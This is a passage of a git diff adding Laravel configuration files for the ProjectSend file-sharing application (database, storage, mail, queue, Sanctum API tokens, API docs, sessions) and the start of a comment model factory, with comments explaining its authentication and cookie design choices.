'host' => env('DB_HOST', '127.0.0.1'), + 'port' => env('DB_PORT', '3306'), + 'database' => env('DB_DATABASE', 'laravel'), + 'username' => env('DB_USERNAME', 'root'), + 'password' => env('DB_PASSWORD', ''), + 'unix_socket' => env('DB_SOCKET', ''), + 'charset' => env('DB_CHARSET', 'utf8mb4'), + 'collation' => env('DB_COLLATION', 'utf8mb4_unicode_ci'), + 'prefix' => '', + 'prefix_indexes' => true, + 'strict' => true, + 'engine' => null, + 'options' => extension_loaded('pdo_mysql') ? array_filter([ + PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'), + ]) : [], + ], + + 'pgsql' => [ + 'driver' => 'pgsql', + 'url' => env('DB_URL'), + 'host' => env('DB_HOST', '127.0.0.1'), + 'port' => env('DB_PORT', '5432'), + 'database' => env('DB_DATABASE', 'laravel'), + 'username' => env('DB_USERNAME', 'root'), + 'password' => env('DB_PASSWORD', ''), + 'charset' => env('DB_CHARSET', 'utf8'), + 'prefix' => '', + 'prefix_indexes' => true, + 'search_path' => 'public', + 'sslmode' => 'prefer', + ], + + 'sqlsrv' => [ + 'driver' => 'sqlsrv', + 'url' => env('DB_URL'), + 'host' => env('DB_HOST', 'localhost'), + 'port' => env('DB_PORT', '1433'), + 'database' => env('DB_DATABASE', 'laravel'), + 'username' => env('DB_USERNAME', 'root'), + 'password' => env('DB_PASSWORD', ''), + 'charset' => env('DB_CHARSET', 'utf8'), + 'prefix' => '', + 'prefix_indexes' => true, + // 'encrypt' => env('DB_ENCRYPT', 'yes'), + // 'trust_server_certificate' => env('DB_TRUST_SERVER_CERTIFICATE', 'false'), + ], + + ], + + /* + |-------------------------------------------------------------------------- + | Migration Repository Table + |-------------------------------------------------------------------------- + | + | This table keeps track of all the migrations that have already run for + | your application. Using this information, we can determine which of + | the migrations on disk haven't actually been run on the database. + | + */ + + 'migrations' => [ + 'table' => 'migrations', + 'update_date_on_publish' => true, + ], + + /* + |-------------------------------------------------------------------------- + | Redis Databases + |-------------------------------------------------------------------------- + | + | Redis is an open source, fast, and advanced key-value store that also + | provides a richer body of commands than a typical key-value system + | such as Memcached. You may define your connection settings here. + | + */ + + 'redis' => [ + + 'client' => env('REDIS_CLIENT', 'phpredis'), + + 'options' => [ + 'cluster' => env('REDIS_CLUSTER', 'redis'), + 'prefix' => env('REDIS_PREFIX', Str::slug(env('APP_NAME', 'laravel'), '_').'_database_'), + 'persistent' => env('REDIS_PERSISTENT', false), + ], + + 'default' => [ + 'url' => env('REDIS_URL'), + 'host' => env('REDIS_HOST', '127.0.0.1'), + 'username' => env('REDIS_USERNAME'), + 'password' => env('REDIS_PASSWORD'), + 'port' => env('REDIS_PORT', '6379'), + 'database' => env('REDIS_DB', '0'), + ], + + 'cache' => [ + 'url' => env('REDIS_URL'), + 'host' => env('REDIS_HOST', '127.0.0.1'), + 'username' => env('REDIS_USERNAME'), + 'password' => env('REDIS_PASSWORD'), + 'port' => env('REDIS_PORT', '6379'), + 'database' => env('REDIS_CACHE_DB', '1'), + ], + + ], + +]; diff --git a/config/filesystems.php b/config/filesystems.php new file mode 100644 index 00000000..4f96a998 --- /dev/null +++ b/config/filesystems.php @@ -0,0 +1,102 @@ + env('FILESYSTEM_DISK', 'local'), + + /* + |-------------------------------------------------------------------------- + | Filesystem Disks + |-------------------------------------------------------------------------- + | + | Below you may configure as many filesystem disks as necessary, and you + | may even configure multiple disks for the same driver. Examples for + | most supported storage drivers are configured here for reference. + | + | Supported drivers: "local", "ftp", "sftp", "s3" + | + */ + + 'disks' => [ + + // Protected client files. Local root matches the nginx + // X-Accel internal location; cloud points this at S3. + 'files' => [ + 'driver' => 'local', + 'root' => storage_path('app/files'), + 'serve' => false, + 'throw' => false, + ], + + 'local' => [ + 'driver' => 'local', + 'root' => storage_path('app/private'), + 'serve' => true, + 'throw' => false, + ], + + 'public' => [ + 'driver' => 'local', + 'root' => storage_path('app/public'), + 'url' => env('APP_URL').'/storage', + 'visibility' => 'public', + 'throw' => false, + ], + + 's3' => [ + 'driver' => 's3', + 'key' => env('AWS_ACCESS_KEY_ID'), + 'secret' => env('AWS_SECRET_ACCESS_KEY'), + 'region' => env('AWS_DEFAULT_REGION'), + 'bucket' => env('AWS_BUCKET'), + 'url' => env('AWS_URL'), + 'endpoint' => env('AWS_ENDPOINT'), + 'use_path_style_endpoint' => env('AWS_USE_PATH_STYLE_ENDPOINT', false), + 'throw' => false, + ], + + // Community-only: an admin-configured S3-compatible bucket + // (AWS, MinIO, etc). Inert stub — the community-modules + // ExternalStorage module overwrites these values at boot from + // its own settings row, only when active. A File never resolves + // to this disk unless that module is installed and enabled. + 'files_external' => [ + 'driver' => 's3', + 'key' => '', + 'secret' => '', + 'region' => '', + 'bucket' => '', + 'endpoint' => null, + 'use_path_style_endpoint' => false, + 'throw' => false, + ], + + ], + + /* + |-------------------------------------------------------------------------- + | Symbolic Links + |-------------------------------------------------------------------------- + | + | Here you may configure the symbolic links that will be created when the + | `storage:link` Artisan command is executed. The array keys should be + | the locations of the links and the values should be their targets. + | + */ + + 'links' => [ + public_path('storage') => storage_path('app/public'), + ], + +]; diff --git a/config/inertia.php b/config/inertia.php new file mode 100644 index 00000000..17c955d5 --- /dev/null +++ b/config/inertia.php @@ -0,0 +1,32 @@ + [ + + 'ensure_pages_exist' => true, + + 'page_paths' => [ + resource_path('js/pages'), + ], + + 'page_extensions' => [ + 'js', + 'jsx', + 'ts', + 'tsx', + ], + + ], + +]; diff --git a/config/logging.php b/config/logging.php new file mode 100644 index 00000000..8d94292b --- /dev/null +++ b/config/logging.php @@ -0,0 +1,132 @@ + env('LOG_CHANNEL', 'stack'), + + /* + |-------------------------------------------------------------------------- + | Deprecations Log Channel + |-------------------------------------------------------------------------- + | + | This option controls the log channel that should be used to log warnings + | regarding deprecated PHP and library features. This allows you to get + | your application ready for upcoming major versions of dependencies. + | + */ + + 'deprecations' => [ + 'channel' => env('LOG_DEPRECATIONS_CHANNEL', 'null'), + 'trace' => env('LOG_DEPRECATIONS_TRACE', false), + ], + + /* + |-------------------------------------------------------------------------- + | Log Channels + |-------------------------------------------------------------------------- + | + | Here you may configure the log channels for your application. Laravel + | utilizes the Monolog PHP logging library, which includes a variety + | of powerful log handlers and formatters that you're free to use. + | + | Available drivers: "single", "daily", "slack", "syslog", + | "errorlog", "monolog", "custom", "stack" + | + */ + + 'channels' => [ + + 'stack' => [ + 'driver' => 'stack', + 'channels' => explode(',', env('LOG_STACK', 'single')), + 'ignore_exceptions' => false, + ], + + 'single' => [ + 'driver' => 'single', + 'path' => storage_path('logs/laravel.log'), + 'level' => env('LOG_LEVEL', 'debug'), + 'replace_placeholders' => true, + ], + + 'daily' => [ + 'driver' => 'daily', + 'path' => storage_path('logs/laravel.log'), + 'level' => env('LOG_LEVEL', 'debug'), + 'days' => env('LOG_DAILY_DAYS', 14), + 'replace_placeholders' => true, + ], + + 'slack' => [ + 'driver' => 'slack', + 'url' => env('LOG_SLACK_WEBHOOK_URL'), + 'username' => env('LOG_SLACK_USERNAME', 'Laravel Log'), + 'emoji' => env('LOG_SLACK_EMOJI', ':boom:'), + 'level' => env('LOG_LEVEL', 'critical'), + 'replace_placeholders' => true, + ], + + 'papertrail' => [ + 'driver' => 'monolog', + 'level' => env('LOG_LEVEL', 'debug'), + 'handler' => env('LOG_PAPERTRAIL_HANDLER', SyslogUdpHandler::class), + 'handler_with' => [ + 'host' => env('PAPERTRAIL_URL'), + 'port' => env('PAPERTRAIL_PORT'), + 'connectionString' => 'tls://'.env('PAPERTRAIL_URL').':'.env('PAPERTRAIL_PORT'), + ], + 'processors' => [PsrLogMessageProcessor::class], + ], + + 'stderr' => [ + 'driver' => 'monolog', + 'level' => env('LOG_LEVEL', 'debug'), + 'handler' => StreamHandler::class, + 'formatter' => env('LOG_STDERR_FORMATTER'), + 'with' => [ + 'stream' => 'php://stderr', + ], + 'processors' => [PsrLogMessageProcessor::class], + ], + + 'syslog' => [ + 'driver' => 'syslog', + 'level' => env('LOG_LEVEL', 'debug'), + 'facility' => env('LOG_SYSLOG_FACILITY', LOG_USER), + 'replace_placeholders' => true, + ], + + 'errorlog' => [ + 'driver' => 'errorlog', + 'level' => env('LOG_LEVEL', 'debug'), + 'replace_placeholders' => true, + ], + + 'null' => [ + 'driver' => 'monolog', + 'handler' => NullHandler::class, + ], + + 'emergency' => [ + 'path' => storage_path('logs/laravel.log'), + ], + + ], + +]; diff --git a/config/mail.php b/config/mail.php new file mode 100644 index 00000000..76e7d0b5 --- /dev/null +++ b/config/mail.php @@ -0,0 +1,136 @@ + env('MAIL_MAILER', 'log'), + + /* + |-------------------------------------------------------------------------- + | Mailer Configurations + |-------------------------------------------------------------------------- + | + | Here you may configure all of the mailers used by your application plus + | their respective settings. Several examples have been configured for + | you and you are free to add your own as your application requires. + | + | Laravel supports a variety of mail "transport" drivers that can be used + | when delivering an email. You may specify which one you're using for + | your mailers below. You may also add additional mailers if needed. + | + | Supported: "smtp", "sendmail", "mailgun", "ses", "ses-v2", + | "postmark", "resend", "log", "array", + | "failover", "roundrobin" + | + */ + + 'mailers' => [ + + 'smtp' => [ + 'transport' => 'smtp', + 'url' => env('MAIL_URL'), + 'host' => env('MAIL_HOST', '127.0.0.1'), + 'port' => env('MAIL_PORT', 2525), + 'encryption' => env('MAIL_ENCRYPTION', 'tls'), + 'username' => env('MAIL_USERNAME'), + 'password' => env('MAIL_PASSWORD'), + 'timeout' => null, + 'local_domain' => env('MAIL_EHLO_DOMAIN', parse_url(env('APP_URL', 'http://localhost'), PHP_URL_HOST)), + ], + + 'ses' => [ + 'transport' => 'ses', + ], + + 'postmark' => [ + 'transport' => 'postmark', + // 'message_stream_id' => env('POSTMARK_MESSAGE_STREAM_ID'), + // 'client' => [ + // 'timeout' => 5, + // ], + ], + + 'resend' => [ + 'transport' => 'resend', + ], + + 'sendmail' => [ + 'transport' => 'sendmail', + 'path' => env('MAIL_SENDMAIL_PATH', '/usr/sbin/sendmail -bs -i'), + ], + + 'log' => [ + 'transport' => 'log', + 'channel' => env('MAIL_LOG_CHANNEL'), + ], + + 'array' => [ + 'transport' => 'array', + ], + + 'failover' => [ + 'transport' => 'failover', + 'mailers' => [ + 'smtp', + 'log', + ], + ], + + 'roundrobin' => [ + 'transport' => 'roundrobin', + 'mailers' => [ + 'ses', + 'postmark', + ], + ], + + ], + + /* + |-------------------------------------------------------------------------- + | Global "From" Address + |-------------------------------------------------------------------------- + | + | You may wish for all emails sent by your application to be sent from + | the same address. Here you may specify a name and address that is + | used globally for all emails that are sent by your application. + | + */ + + 'from' => [ + 'address' => env('MAIL_FROM_ADDRESS', 'hello@example.com'), + 'name' => env('MAIL_FROM_NAME', 'Example'), + ], + + /* + |-------------------------------------------------------------------------- + | Markdown Mail Rendering + |-------------------------------------------------------------------------- + | + | The "theme" here is only the initial default (used for mail sent + | outside a notification, or before Setting::EmailTheme is read) — + | ThemedMailChannel picks the installation's actual theme at send time. + | The "paths" entry is what makes resources/views/vendor/mail override + | the framework's own header/footer/theme-css views. + | + */ + + 'markdown' => [ + 'theme' => 'default', + 'paths' => [ + resource_path('views/vendor/mail'), + ], + ], + +]; diff --git a/config/projectsend.php b/config/projectsend.php new file mode 100644 index 00000000..f08b49c8 --- /dev/null +++ b/config/projectsend.php @@ -0,0 +1,92 @@ + Edition::from((string) env('PROJECTSEND_EDITION', 'community')), + + /* + |-------------------------------------------------------------------------- + | Chunked upload part size (MB) + |-------------------------------------------------------------------------- + | + | Each resumable-upload part travels as one request of this size; + | web-server/PHP body limits only need to cover a single part. + | + */ + + 'upload_part_size_mb' => 20, + + /* + |-------------------------------------------------------------------------- + | CAPTCHA + |-------------------------------------------------------------------------- + | + | Two things live here rather than in the settings store, for two + | different reasons. + | + | "disabled" is an escape hatch: a wrong secret key cannot lock anybody + | out (see CaptchaResult), but an operator who has managed it some other + | way needs a fix that touches no database and needs no working login. + | + | The managed keys are the platform's own, applied to every tenant on + | cloud and absent everywhere else. In config rather than the tenant + | database so a database dump never carries our credential, and so + | rotating it is one fleet-wide change instead of a migration. They do + | nothing without Capability::CaptchaManagedKeys. + | + */ + + 'captcha' => [ + 'disabled' => (bool) env('PROJECTSEND_CAPTCHA_DISABLED', false), + + 'managed' => [ + 'provider' => env('PROJECTSEND_CAPTCHA_MANAGED_PROVIDER'), + 'site_key' => env('PROJECTSEND_CAPTCHA_MANAGED_SITE_KEY'), + 'secret_key' => env('PROJECTSEND_CAPTCHA_MANAGED_SECRET_KEY'), + 'score_threshold' => (float) env('PROJECTSEND_CAPTCHA_MANAGED_SCORE_THRESHOLD', 0.5), + ], + ], + + /* + |-------------------------------------------------------------------------- + | Release identity + |-------------------------------------------------------------------------- + | + | Per-release facts that ship with the code. Not settings: they never + | vary per install or tenant. + | + */ + + 'version' => '2.0.0', + + /* + |-------------------------------------------------------------------------- + | Official links + |-------------------------------------------------------------------------- + */ + + 'links' => [ + 'website' => 'https://www.projectsend.org/', + // Where this code lives, and the same repository + // CheckForUpdatesCommand asks for the latest release. v1 remains + // available at github.com/projectsend/legacy. + 'source' => 'https://github.com/projectsend/projectsend', + 'open_collective' => 'https://opencollective.com/projectsend', + ], + +]; diff --git a/config/queue.php b/config/queue.php new file mode 100644 index 00000000..116bd8d0 --- /dev/null +++ b/config/queue.php @@ -0,0 +1,112 @@ + env('QUEUE_CONNECTION', 'database'), + + /* + |-------------------------------------------------------------------------- + | Queue Connections + |-------------------------------------------------------------------------- + | + | Here you may configure the connection options for every queue backend + | used by your application. An example configuration is provided for + | each backend supported by Laravel. You're also free to add more. + | + | Drivers: "sync", "database", "beanstalkd", "sqs", "redis", "null" + | + */ + + 'connections' => [ + + 'sync' => [ + 'driver' => 'sync', + ], + + 'database' => [ + 'driver' => 'database', + 'connection' => env('DB_QUEUE_CONNECTION'), + 'table' => env('DB_QUEUE_TABLE', 'jobs'), + 'queue' => env('DB_QUEUE', 'default'), + 'retry_after' => (int) env('DB_QUEUE_RETRY_AFTER', 90), + 'after_commit' => false, + ], + + 'beanstalkd' => [ + 'driver' => 'beanstalkd', + 'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'), + 'queue' => env('BEANSTALKD_QUEUE', 'default'), + 'retry_after' => (int) env('BEANSTALKD_QUEUE_RETRY_AFTER', 90), + 'block_for' => 0, + 'after_commit' => false, + ], + + 'sqs' => [ + 'driver' => 'sqs', + 'key' => env('AWS_ACCESS_KEY_ID'), + 'secret' => env('AWS_SECRET_ACCESS_KEY'), + 'prefix' => env('SQS_PREFIX', 'https://sqs.us-east-1.amazonaws.com/your-account-id'), + 'queue' => env('SQS_QUEUE', 'default'), + 'suffix' => env('SQS_SUFFIX'), + 'region' => env('AWS_DEFAULT_REGION', 'us-east-1'), + 'after_commit' => false, + ], + + 'redis' => [ + 'driver' => 'redis', + 'connection' => env('REDIS_QUEUE_CONNECTION', 'default'), + 'queue' => env('REDIS_QUEUE', 'default'), + 'retry_after' => (int) env('REDIS_QUEUE_RETRY_AFTER', 90), + 'block_for' => null, + 'after_commit' => false, + ], + + ], + + /* + |-------------------------------------------------------------------------- + | Job Batching + |-------------------------------------------------------------------------- + | + | The following options configure the database and table that store job + | batching information. These options can be updated to any database + | connection and table which has been defined by your application. + | + */ + + 'batching' => [ + 'database' => env('DB_CONNECTION', 'sqlite'), + 'table' => 'job_batches', + ], + + /* + |-------------------------------------------------------------------------- + | Failed Queue Jobs + |-------------------------------------------------------------------------- + | + | These options configure the behavior of failed queue job logging so you + | can control how and where failed jobs are stored. Laravel ships with + | support for storing failed jobs in a simple file or in a database. + | + | Supported drivers: "database-uuids", "dynamodb", "file", "null" + | + */ + + 'failed' => [ + 'driver' => env('QUEUE_FAILED_DRIVER', 'database-uuids'), + 'database' => env('DB_CONNECTION', 'sqlite'), + 'table' => 'failed_jobs', + ], + +]; diff --git a/config/sanctum.php b/config/sanctum.php new file mode 100644 index 00000000..1601951e --- /dev/null +++ b/config/sanctum.php @@ -0,0 +1,89 @@ + [], + + /* + |-------------------------------------------------------------------------- + | Sanctum Guards + |-------------------------------------------------------------------------- + | + | Empty for the same reason, and it is the load-bearing half: with a guard + | listed here, Sanctum answers an API request from whatever first-party + | session it can find before it ever looks for a bearer token. Empty means + | there is exactly one way to authenticate against /api/* — a token. + | + */ + + 'guard' => [], + + /* + |-------------------------------------------------------------------------- + | Expiration Minutes + |-------------------------------------------------------------------------- + | + | Null on purpose: expiry is per token, not global. Every token is issued + | with its own `expires_at` (required at creation, see ApiTokensController) + | so a caller can choose a short-lived token without shortening everyone + | else's. A value here would silently override those per-token dates. + | + */ + + 'expiration' => null, + + /* + |-------------------------------------------------------------------------- + | Token Prefix + |-------------------------------------------------------------------------- + | + | A fixed, recognisable prefix so a leaked token is findable: GitHub's + | secret scanning and most credential scanners key off exactly this kind + | of marker, and it makes an accidentally-committed token greppable. + | + | Changing this does not invalidate existing tokens — the prefix is part + | of the plaintext, not of the hash lookup. + | + */ + + 'token_prefix' => env('SANCTUM_TOKEN_PREFIX', 'psend_'), + + /* + |-------------------------------------------------------------------------- + | Sanctum Middleware + |-------------------------------------------------------------------------- + | + | Unused while `stateful` is empty — kept at the package defaults so the + | file still matches upstream if statefulness is ever reconsidered. + | + */ + + 'middleware' => [ + 'authenticate_session' => AuthenticateSession::class, + 'encrypt_cookies' => EncryptCookies::class, + 'validate_csrf_token' => ValidateCsrfToken::class, + ], + +]; diff --git a/config/scramble.php b/config/scramble.php new file mode 100644 index 00000000..d2a1ee6a --- /dev/null +++ b/config/scramble.php @@ -0,0 +1,186 @@ + [ + * 'include' => 'api', + * 'exclude' => ['api/internal'], + * ], + * + * Without *, patterns match path segments (api matches api and api/users, not apiary). + * With *, Str::is is used (e.g. api/v*). + * + * One static include → default server is /{include} and paths are stripped (/users). + * Multiple includes or wildcards → server defaults to / and paths stay full (/api/users). + * Override with `servers`, or use Scramble::registerApi() for separate bases. + */ + // Only the versioned public API. A future /api/v2 gets its own + // document rather than being blended into this one. + 'api_path' => 'api/v1', + + /* + * Your API domain. By default, app domain is used. This is also a part of the default API routes + * matcher, so when implementing your own, make sure you use this config if needed. + */ + 'api_domain' => null, + + /* + * The path where your OpenAPI specification will be exported. + */ + // Committed to the repo and served from there — see + // OpenApiController. Generating on request would make the document a + // property of whichever packages happen to be installed, and would + // put route reflection on a public endpoint's hot path. + 'export_path' => 'docs/api/openapi.json', + + /* + * Cache configuration for the generated OpenAPI document. + * + * Use `scramble:cache` to warm the cache and `scramble:clear` to invalidate it. + */ + 'cache' => [ + 'key' => 'scramble.openapi', + 'store' => 'file', + ], + + 'info' => [ + /* + * API version. + */ + 'version' => '1.0.0', + + /* + * Description rendered on the home page of the API documentation (`/docs/api`). + */ + 'description' => 'Staff-authenticated REST API for ProjectSend. Authenticate with a bearer token created under Settings → API tokens. See docs/api-guide.md for the narrative guide.', + ], + + 'ui' => [ + 'title' => null, + ], + + 'renderer' => 'elements', + + 'renderers' => [ + /* + * Stoplight Elements config options: https://docs.stoplight.io/docs/elements/b074dc47b2826-elements-configuration-options + */ + 'elements' => [ + 'view' => 'scramble::docs', + 'theme' => 'light', + 'hideTryIt' => false, + 'hideSchemas' => false, + 'logo' => '', + 'tryItCredentialsPolicy' => 'include', + 'layout' => 'responsive', + 'router' => 'hash', + ], + /* + * Scalar API reference config options: https://scalar.com/products/api-references/configuration + */ + 'scalar' => [ + 'view' => 'scramble::scalar', + 'cdn' => 'https://cdn.jsdelivr.net/npm/@scalar/api-reference', + 'theme' => 'laravel', + 'proxyUrl' => 'https://proxy.scalar.com', + 'darkMode' => false, + 'showDeveloperTools' => 'never', + 'agent' => ['disabled' => true], + 'credentials' => 'include', + ], + ], + + /* + * The list of servers of the API. By default, when `null`, server URL will be created from + * `scramble.api_path` and `scramble.api_domain` config variables. When providing an array, you + * will need to specify the local server URL manually (if needed). + * + * Example of non-default config (final URLs are generated using Laravel `url` helper): + * + * ```php + * 'servers' => [ + * 'Live' => 'api', + * 'Prod' => 'https://scramble.dedoc.co/api', + * ], + * ``` + */ + 'servers' => null, + + /** + * Determines how Scramble stores the descriptions of enum cases. + * Available options: + * - 'description' – Case descriptions are stored as the enum schema's description using table formatting. + * - 'extension' – Case descriptions are stored in the `x-enumDescriptions` enum schema extension. + * + * @see https://redocly.com/docs-legacy/api-reference-docs/specification-extensions/x-enum-descriptions + * - false - Case descriptions are ignored. + */ + 'enum_cases_description_strategy' => 'description', + + /** + * Determines how Scramble stores the names of enum cases. + * Available options: + * - 'names' – Case names are stored in the `x-enumNames` enum schema extension. + * - 'varnames' - Case names are stored in the `x-enum-varnames` enum schema extension. + * - false - Case names are not stored. + */ + 'enum_cases_names_strategy' => false, + + /** + * When Scramble encounters deep objects in query parameters, it flattens the parameters so the generated + * OpenAPI document correctly describes the API. Flattening deep query parameters is relevant until + * OpenAPI 3.2 is released and query string structure can be described properly. + * + * For example, this nested validation rule describes the object with `bar` property: + * `['foo.bar' => ['required', 'int']]`. + * + * When `flatten_deep_query_parameters` is `true`, Scramble will document the parameter like so: + * `{"name":"foo[bar]", "schema":{"type":"int"}, "required":true}`. + * + * When `flatten_deep_query_parameters` is `false`, Scramble will document the parameter like so: + * `{"name":"foo", "schema": {"type":"object", "properties":{"bar":{"type": "int"}}, "required": ["bar"]}, "required":true}`. + */ + 'flatten_deep_query_parameters' => true, + + // Scramble's own docs route is not mounted — see the ScrambleServiceProvider + // registration in ApiServiceProvider. The reference lives inside the + // admin UI at /system/settings/api/docs, behind the same + // staff + can:edit_settings gate as every other system settings page, + // and is rendered from the committed document rather than by + // reflecting over routes on request. + 'middleware' => [ + 'web', + RestrictedDocsAccess::class, + ], + + 'extensions' => [], + + /* + * Automatically document API security (OpenAPI `security` / `securitySchemes`) based on route + * middleware. + * + * Disabled by default. Uncomment the line below to enable `MiddlewareAuthSecurityStrategy`. + * When at least one documented route uses middleware matching the configured patterns (by default + * `auth` and `auth:*`), bearer auth is applied globally. Routes without matching middleware are + * marked as public (`security: []`). + * + * Set to `null` explicitly to disable. If you already configure security manually via + * `afterOpenApiGenerated` / `extendOpenApi`, keep this disabled to avoid duplicate schemes. + * + * Customize with a class-string or [class, options]: + * + * 'security_strategy' => [ + * \Dedoc\Scramble\SecurityDocumentation\MiddlewareAuthSecurityStrategy::class, + * [ + * 'middleware' => ['auth', 'auth:*'], + * 'scheme' => \Dedoc\Scramble\Support\Generator\SecurityScheme::http('bearer'), + * ], + * ], + */ + // 'security_strategy' => \Dedoc\Scramble\SecurityDocumentation\MiddlewareAuthSecurityStrategy::class, + 'security_strategy' => null, +]; diff --git a/config/services.php b/config/services.php new file mode 100644 index 00000000..27a36175 --- /dev/null +++ b/config/services.php @@ -0,0 +1,38 @@ + [ + 'token' => env('POSTMARK_TOKEN'), + ], + + 'ses' => [ + 'key' => env('AWS_ACCESS_KEY_ID'), + 'secret' => env('AWS_SECRET_ACCESS_KEY'), + 'region' => env('AWS_DEFAULT_REGION', 'us-east-1'), + ], + + 'resend' => [ + 'key' => env('RESEND_KEY'), + ], + + 'slack' => [ + 'notifications' => [ + 'bot_user_oauth_token' => env('SLACK_BOT_USER_OAUTH_TOKEN'), + 'channel' => env('SLACK_BOT_USER_DEFAULT_CHANNEL'), + ], + ], + +]; diff --git a/config/session.php b/config/session.php new file mode 100644 index 00000000..b7edb9dd --- /dev/null +++ b/config/session.php @@ -0,0 +1,245 @@ + env('SESSION_DRIVER', 'database'), + + /* + |-------------------------------------------------------------------------- + | Session Lifetime + |-------------------------------------------------------------------------- + | + | Here you may specify the number of minutes that you wish the session + | to be allowed to remain idle before it expires. If you want them + | to expire immediately when the browser is closed then you may + | indicate that via the expire_on_close configuration option. + | + */ + + 'lifetime' => env('SESSION_LIFETIME', 120), + + 'expire_on_close' => env('SESSION_EXPIRE_ON_CLOSE', false), + + /* + |-------------------------------------------------------------------------- + | Session Encryption + |-------------------------------------------------------------------------- + | + | This option allows you to easily specify that all of your session data + | should be encrypted before it's stored. All encryption is performed + | automatically by Laravel and you may use the session like normal. + | + */ + + 'encrypt' => env('SESSION_ENCRYPT', false), + + /* + |-------------------------------------------------------------------------- + | Session File Location + |-------------------------------------------------------------------------- + | + | When utilizing the "file" session driver, the session files are placed + | on disk. The default storage location is defined here; however, you + | are free to provide another location where they should be stored. + | + */ + + 'files' => storage_path('framework/sessions'), + + /* + |-------------------------------------------------------------------------- + | Session Database Connection + |-------------------------------------------------------------------------- + | + | When using the "database" or "redis" session drivers, you may specify a + | connection that should be used to manage these sessions. This should + | correspond to a connection in your database configuration options. + | + */ + + 'connection' => env('SESSION_CONNECTION'), + + /* + |-------------------------------------------------------------------------- + | Session Database Table + |-------------------------------------------------------------------------- + | + | When using the "database" session driver, you may specify the table to + | be used to store sessions. Of course, a sensible default is defined + | for you; however, you're welcome to change this to another table. + | + */ + + 'table' => env('SESSION_TABLE', 'sessions'), + + /* + |-------------------------------------------------------------------------- + | Session Cache Store + |-------------------------------------------------------------------------- + | + | When using one of the framework's cache driven session backends, you may + | define the cache store which should be used to store the session data + | between requests. This must match one of your defined cache stores. + | + | Affects: "apc", "dynamodb", "memcached", "redis" + | + */ + + 'store' => env('SESSION_STORE'), + + /* + |-------------------------------------------------------------------------- + | Session Sweeping Lottery + |-------------------------------------------------------------------------- + | + | Some session drivers must manually sweep their storage location to get + | rid of old sessions from storage. Here are the chances that it will + | happen on a given request. By default, the odds are 2 out of 100. + | + */ + + 'lottery' => [2, 100], + + /* + |-------------------------------------------------------------------------- + | Session Cookie Name + |-------------------------------------------------------------------------- + | + | Here you may change the name of the session cookie that is created by + | the framework. Typically, you should not need to change this value + | since doing so does not grant a meaningful security improvement. + | + */ + + 'cookie' => env( + 'SESSION_COOKIE', + Str::slug(env('APP_NAME', 'laravel'), '_').'_session' + ), + + /* + |-------------------------------------------------------------------------- + | CSRF Cookie Name + |-------------------------------------------------------------------------- + | + | The companion to the session cookie above, and named alongside it for + | the same reason: cookies are scoped by host and ignore the port, so + | two applications on one hostname share every cookie whose name they + | share. The framework hardcodes this one as "XSRF-TOKEN", which means + | a second Laravel application on the same host — a staging copy on + | another port, a neighbouring app — overwrites this one's CSRF token + | and every write here starts failing with a 419 that looks, from the + | inside, exactly like an expired session. The session itself is fine; + | only the token is somebody else's. + | + | Derived from the session cookie name so it stays distinct without + | anybody having to remember a second setting. + | + */ + + 'xsrf_cookie' => env( + 'SESSION_XSRF_COOKIE', + Str::replaceLast('_session', '', env( + 'SESSION_COOKIE', + Str::slug(env('APP_NAME', 'laravel'), '_').'_session' + )).'_xsrf' + ), + + /* + |-------------------------------------------------------------------------- + | Session Cookie Path + |-------------------------------------------------------------------------- + | + | The session cookie path determines the path for which the cookie will + | be regarded as available. Typically, this will be the root path of + | your application, but you're free to change this when necessary. + | + */ + + 'path' => env('SESSION_PATH', '/'), + + /* + |-------------------------------------------------------------------------- + | Session Cookie Domain + |-------------------------------------------------------------------------- + | + | This value determines the domain and subdomains the session cookie is + | available to. By default, the cookie will be available to the root + | domain and all subdomains. Typically, this shouldn't be changed. + | + */ + + 'domain' => env('SESSION_DOMAIN'), + + /* + |-------------------------------------------------------------------------- + | HTTPS Only Cookies + |-------------------------------------------------------------------------- + | + | By setting this option to true, session cookies will only be sent back + | to the server if the browser has a HTTPS connection. This will keep + | the cookie from being sent to you when it can't be done securely. + | + */ + + 'secure' => env('SESSION_SECURE_COOKIE'), + + /* + |-------------------------------------------------------------------------- + | HTTP Access Only + |-------------------------------------------------------------------------- + | + | Setting this value to true will prevent JavaScript from accessing the + | value of the cookie and the cookie will only be accessible through + | the HTTP protocol. It's unlikely you should disable this option. + | + */ + + 'http_only' => env('SESSION_HTTP_ONLY', true), + + /* + |-------------------------------------------------------------------------- + | Same-Site Cookies + |-------------------------------------------------------------------------- + | + | This option determines how your cookies behave when cross-site requests + | take place, and can be used to mitigate CSRF attacks. By default, we + | will set this value to "lax" to permit secure cross-site requests. + | + | See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value + | + | Supported: "lax", "strict", "none", null + | + */ + + 'same_site' => env('SESSION_SAME_SITE', 'lax'), + + /* + |-------------------------------------------------------------------------- + | Partitioned Cookies + |-------------------------------------------------------------------------- + | + | Setting this value to true will tie the cookie to the top-level site for + | a cross-site context. Partitioned cookies are accepted by the browser + | when flagged "secure" and the Same-Site attribute is set to "none". + | + */ + + 'partitioned' => env('SESSION_PARTITIONED_COOKIE', false), + +]; diff --git a/database/.gitignore b/database/.gitignore new file mode 100644 index 00000000..9b19b93c --- /dev/null +++ b/database/.gitignore @@ -0,0 +1 @@ +*.sqlite* diff --git a/database/factories/FileCommentFactory.php b/database/factories/FileCommentFactory.php new file mode 100644 index 00000000..97d213b9 --- /dev/null +++ b/database/factories/FileCommentFactory.php @@ -0,0 +1,118 @@ + + */ +class FileCommentFactory extends Factory +{ + /** @var class-string */ + protected $model = FileComment::class; + + /** + * @return array + */ + public function definition(): array + { + return [ + 'file_id' => File::factory(), + 'author_id' => User::factory(), + 'client_context_id' => null, + 'visibility' => CommentVisibility::StaffOnly, + 'body' => fake()->sentence(), + 'approved_at' => now(), + ]; + } + + /** + * A comment inside one client's conversation — the shape the + * cross-client isolation rules apply to. + */ + public function inThreadOf(User $client): static + { + return $this->state(fn (array $attributes) => [ + 'visibility' => CommentVisibility::Clients, + 'client_context_id' => $client->id, + ]); + } + + /** + * Staff addressing every client on the file: no conversation of its + * own, so every client with access reads it. + */ + public function toAllClients(): static + { + return $this->state(fn (array $attributes) => [ + 'visibility' => CommentVisibility::Clients, + 'client_context_id' => null, + ]); + } + + /** A staff note no client ever reads. */ + public function staffOnly(): static + { + return $this->state(fn (array $attributes) => [ + 